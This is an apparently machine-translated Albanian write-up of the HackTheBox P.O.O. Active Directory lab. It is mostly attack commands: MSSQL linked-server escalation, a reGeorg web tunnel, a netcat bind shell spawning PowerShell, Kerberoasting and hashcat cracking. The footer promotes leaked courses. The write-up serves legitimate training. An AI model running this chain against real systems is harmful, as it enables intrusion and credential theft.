HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Në këtë artikull do të analizojmë kalimin e një mini-laboratori të tërë në platformën HackTheBox.

Siç thuhet në përshkrim, P.O.O. është e dizajnuar për të verifikuar aftësitë në të gjitha fazat e sulmeve në një mjedis të vogël Active Directory. Qëllimi është të kompromentohet një host i qasshëm, të rriten privilegjet dhe, në fund, të kompromentohet i gjithë domini, duke mbledhur njëkohësisht 5 flamuj.

Lidhja me laboratorin bëhet përmes VPN. Rekomandohet të mos lidheni nga kompjuteri juaj i punës ose nga hosti, ku keni të dhëna të rëndësishme, sepse po hyni në një rrjet privat me njerëz që dijnë diçka në fushën e sigurisë së informacionit 🙂

Informacion organizativ
Që të mund të mësoni për artikuj të rinj, softuer dhe informacion tjetër, kam krijuar , ku rregullisht tregoj për fluturimet e mia dhe një grup për diskutimin e çdo pyetjeje në fushën e SiIK. Gjithashtu, kërkesat tuaja personale, pyetje, propozime dhe rekomandime do t'i shqyrtoj personalisht dhe do t'u përgjigjem të gjithëve.

Të gjitha informacionet janë paraqitur ekskluzivisht për qëllime edukative. Autori i këtij dokumenti nuk merr asnjë përgjegjësi për ndonjë dëm të shkaktuar dikujt si pasojë e përdorimit të njohurive dhe metodave që rezultojnë nga studimi i këtij dokumenti.

Intro

Ky endgame përbëhet nga dy makina dhe përmban 5 flamuj.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Po ashtu jepet përshkrimi dhe adresa e hostit të qasshëm.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Le të fillojmë!

Recon flag

Kjo makinë ka adresën IP 10.13.38.11, të cilën e shtoj në /etc/hosts.
10.13.38.11 poo.htb

Së pari, bëjmë skanimin e porteve të hapura. Duke qënë se skanimi i të gjitha porteve me nmap zgjat shumë, unë së pari do ta bëj këtë me masscan. Ne skanojmë të gjitha portet TCP dhe UDP nga ndërfaqja tun0 me shpejtësinë 500 paketa në sekondë.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Tani për të marrë informacione më të detajuara mbi shërbimet që punojnë në porte, do të lançojmë skanimin me opsionin -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kështu, kemi shërbime IIS dhe MSSQL. Në të njëjtën kohë, zbulojmë emrin e vërtetë DNS të domes dhe kompjuterit. Në serverin e uebit na pret faqja kryesore IIS.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Le të shfletojmë direktorët. Për këtë, unë përdor gobuster. Në parametrat specifikoj numrin e thrashëve 128 (-t), URL-në (-u), fjalorin (-w) dhe zgjerimet që na interesojnë (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kështu kemi autentifikimin HTTP për direktorën /admin, si dhe një skedhë të aksesueshme të shërbimit të punës .DS_Store. .DS_Store është skedarë ku ruhen cilësimet e përdoruesit për dosjen, si lista e skedareve, vendi i ikonave, sfondi i zgjedhur. Një skedar i tillë mund të përfshihet në direktorën e serverit web nga zhvilluesit web. Kështu, marrim informacion për përmbajtjen e direktorëve. Për këtë mund të përdorim DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Ne marrim përmbajtjen e katalogut. Më interesante këtu është katalogu /dev, nga i cili mund të shohim burimet dhe skedarët e db në dy degë. Por mund të shohim gjashtë karakteret e para të emrave të skedave dhe direktorive, nëse shërbimi është i prekshëm nga IIS ShortName. Mund ta kontrollojmë këtë vulnerabilitet me ndihmën e Skandues i emrit të shkurtër IIS.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe gjejmë një skedar tekstual që fillon me "poo_co". Pa ditur se çfarë të bëj më pas, thjesht zgjodha të gjitha fjalët që fillojnë me "co" nga fjalori i direktorive.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Dhe do t'i shqyrtojmë me ndihmën e wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe gjejmë fjalën e duhur! Shikojmë këtë skedar, ruajmë kredencialet (sipas parametrave DBNAME, ato janë nga MSSQL).

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dorëzojmë flamurin dhe përparojmë me 20%.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Huh flamur

Lidhëm me MSSQL, unë përdor DBeaver.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Nuk gjejmë asgjë interesante në këtë bazë, le të krijojmë një redaktues SQL dhe të kontrollojmë se cilët përdorues kemi.

SELECT name FROM master..syslogins;

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kemi dy përdorues. Le të kontrollojmë privilegjet tona.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Pra, nuk kemi asnjë privilegje. Le të shohim serverët e lidhur, për këtë metodë kam shkruar në detaje. këtu.

SELECT * FROM master..sysservers;

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kështu gjejmë një SQL Server tjetër. Le të kontrollojmë ekzekutimin e komandave në këtë server me ndihmën e openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe madje mund të ndërtosh një pemë të kërkesave.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

E vërteta është se kur ekzekutojmë një kërkesë në serverin e lidhur, kërkesa ekzekutohet në kontekstin e një përdoruesi tjetër! Le të shohim në kontekstin e cilit përdorues jemi të punojmë në serverin e lidhur.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe tani le të shohim në cilin kontekst ekzekutohen kërkesat nga serveri i lidhur në serverin tonë!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kështu, ky është konteksti DBO, i cili duhet të ketë të gjitha privilegjet. Le të kontrollojmë privilegjet në rastin e kërkesës nga serveri i lidhur.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Si mund të vini re, ne kemi të gjitha privilegjet! Le të krijojmë një administrator të ri. Por përmes openquery nuk na lejohet, kështu që ta bëjmë përmes EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Dhe tani lidhemi me akreditet e përdoruesit të ri, duke vëzhguar bazën e të dhënave të re.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Marrim këtë flamur dhe shkojmë më tej.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

BackTrack flamuri

Do të marrim shell me anë të MSSQL, unë përdor mssqlclient nga paketa impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Na nevojiten fjalëkalimet, dhe e para që kemi takuar është faqja. Pra, na nevojitet konfigurimi i serverit të internetit (nuk arrijmë të hedhim një shell të përshtatshëm, duket se funksionon firewall).

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Por aksesimi është i ndaluar. Edhe pse mund të lexojmë një skedarin nga MSSQL, duhet vetëm të dimë se cilat gjuhë programimi janë të konfiguruara. Dhe në direktorinë MSSQL zbulojmë se ka Python.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Atëherë nuk kemi aspak probleme për të lexuar skedarin web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Me akreditet e gjetura do të hyjmë në /admin dhe do ta marrim flamurin.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Foothold flamuri

Në të vërtetë, përdorimi i firewall ka disa inconvenienca, por duke shqyrtuar cilësimet e rrjetit, vërejmë se po përdoret gjithashtu një prokol IPv6!

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Le të shtojmë këtë adresë në /etc/hosts.
dead:babe::1001 poo6.htb
Le të skanojmë përsëri hostin, por këtë herë përmes protokollit IPv6.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe në IPv6 është e disponueshme shërbimi WinRM. Le të lidhemi me akreditet e gjetura.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Në desktop ka një flamur, do ta dorëzojmë atë.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

P00ned flamuri

Pas një hetimi në host me anë të winpeas nuk gjejmë asgjë të veçantë. Atëherë u mor vendimi të kërkojmë përsëri akredite (për këtë çështje kam shkruar gjithashtu artikull). Por nuk mund të marr të gjitha SPN nga sistemi përmes WinRM.

setspn.exe -T intranet.poo -Q *//*

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Le të ekzekutojmë komandën përmes MSSQL.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kështu, ne marrim SPN të përdoruesve p00_hr dhe p00_adm, çka do të thotë se ata janë të prekshëm nga një sulm si Kerberoasting. Në shkurtesë, ne mund të marrim hash-ët e fjalëkalimeve të tyre.

Së pari, duhet të sigurojmë një shell të qëndrueshëm në emër të përdoruesit MSSQL. Por, për shkak të kufizimeve në qasje, ne kemi lidhje me hostin vetëm përmes porteve 80 dhe 1433. Por ka një mundësi për tunelimin e trafikut përmes portit 80! Për këtë do të përdorim aplikacionin e mëposhtëm. Do ta ngarkojmë skedarin tunnel.aspx në direktorinë e shtëpisë së serverit të uebit — C:inetpubwwwroot.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Por, kur përpiqemi të vazhdojmë me të, marrim një gabim 404. Kjo do të thotë se skedarët *.aspx nuk janë të ekzekutueshëm. Për të bërë që skedarët me këtë zgjerim të ekzekutohen, do të instalojmë ASP.NET 4.5 siç vijon.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe tani, kur i qasemi tunnel.aspx, marrim një përgjigje se gjithçka është gati për punë.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Le të fillojmë pjesën klient të aplikacionit, e cila do të menaxhojë rikthimin e trafikut. Ne do të drejtojmë të gjithë trafikun nga porta 5432 në server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe do të përdorim proxychains për të dërguar trafik nga çfarëdo aplikacioni përmes proxy-it tonë. Do ta shtojmë këtë proxy në skedarin e konfigurimit /etc/proxychains.conf.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Tani, do të ngarkojmë në server programin netcat, me ndihmën e të cilit do të krijojmë një shell bind të qëndrueshëm, dhe skenarin Invoke-Kerberoast, me ndihmën e të cilit do të realizojmë sulmin Kerberoasting.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Tani, përmes MSSQL fillojmë listenin.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe lidhemi përmes proxy-it tonë.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Dhe le të marrim hash-ët.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Më pas, duhet të provosh këta hash-e. Duke qenë se në fjalorin rockyou nuk kishte fjalëkalime, unë përdorova të GJITHA fjalorët passwords të ofruar në Seclists. Për provimin do të përdorim hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Dhe gjejmë të dy fjalëkalimet, të parin në fjalorin dutch_passwordlist.txt dhe të dytin në Keyboard-Combinations.txt.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kështu, kemi tre përdorues, përshkojmë në kontrolluesin e domenit. Së pari, mësojmë adresën e tij.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Shkëlqyer, ne mësuam adresën IP të kontrolluesit të domenit. Le të zbulojmë të gjithë përdoruesit e domenit, si dhe kush është administrator. Do të ngarkojmë skenarin për të marrë informacionin PowerView.ps1. Pastaj do të lidhemi me evil-winrm, duke especificuar në parametrin -s direktorinë me skenarin. Dhe pastaj do të ngarkojmë thjesht skenarin PowerView.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Tani na janë të gjitha funksionet e tij në dispozicion. Përdoruesi p00_adm duket si një i privilegjuar, kështu që do të punojmë në kontekstin e tij. Do të krijojmë një objekt PSCredential për këtë përdorues.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Tani çdo komandë PowerShell, ku do të specifikojmë Creds, do të ekzekutohet në emër të p00_adm. Le të nxjerrim një listë të përdoruesve dhe atributin AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Pra, përdoruesi ynë në të vërtetë është i privilegjuar. Le të shohim në cilat grupe bën pjesë.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Më në fund, konfirmojmë se përdoruesi është administrator i domenit. Kjo i jep atij të drejtën e hyrjes të largët në kontrolluesin e domenit. Le të provojmë të hyjmë nëpërmjet WinRM, duke përdorur tunelin tonë. Më shqetësojnë gabimet që jep reGeorg kur përdorim evil-winrm.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Atëherë do të përdorim një tjetër, më të lehtë, skenar për lidhjen në WinRM. Do të hapim dhe të ndryshojmë parametrat për lidhjen.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Po provojmë të lidhemi, dhe jemi në sistem.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Por nuk ka flamur. Atëherë shiko përdoruesin dhe kontrollo desktopet.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Te mr3ks gjejmë flamurin dhe laboratori është përfunduar 100%.

HackTheBox endgame. Kalimi përfundimin e laboratorit Professional Offensive Operations. Pen-test ndaj Active Directory

Kjo është gjithçka. Si një kthim për informacionin, ju lutemi komentoni - a mësuat diçka të re nga ky artikull dhe a ishte e dobishme për ju.

Mund të na bashkoheni në Telegram. Aty do të mund të gjeni materiale interesante, kurse të derdhura dhe gjithashtu softuer. Le të krijojmë një komunitet ku do të jenë njerëz që kuptojnë në shumë fusha të IT-së, kështu që gjithmonë mund të ndihmojmë njëri-tjetrin për çdo çështje të IT-së dhe sigurisë informacionit.

Burimi: habr.com

Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS 🔥 Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS | ProHoster